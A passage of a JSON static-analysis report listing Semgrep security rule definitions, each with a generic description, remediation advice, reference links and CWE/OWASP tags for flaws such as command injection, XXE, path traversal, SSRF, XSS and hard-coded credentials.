commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","id":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","name":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","id":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","name":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","id":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","name":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","id":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","name":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder.tainted-xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","id":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","name":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","id":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","name":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"help":{"markdown":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","id":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","name":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf","id":"csharp.lang.security.ssrf.web-client.ssrf","name":"csharp.lang.security.ssrf.web-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","id":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","name":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss","id":"javascript.browser.decoded-xss.decoded-xss","name":"javascript.browser.decoded-xss.decoded-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.decoded-xss.decoded-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","id":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","name":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","id":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","name":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 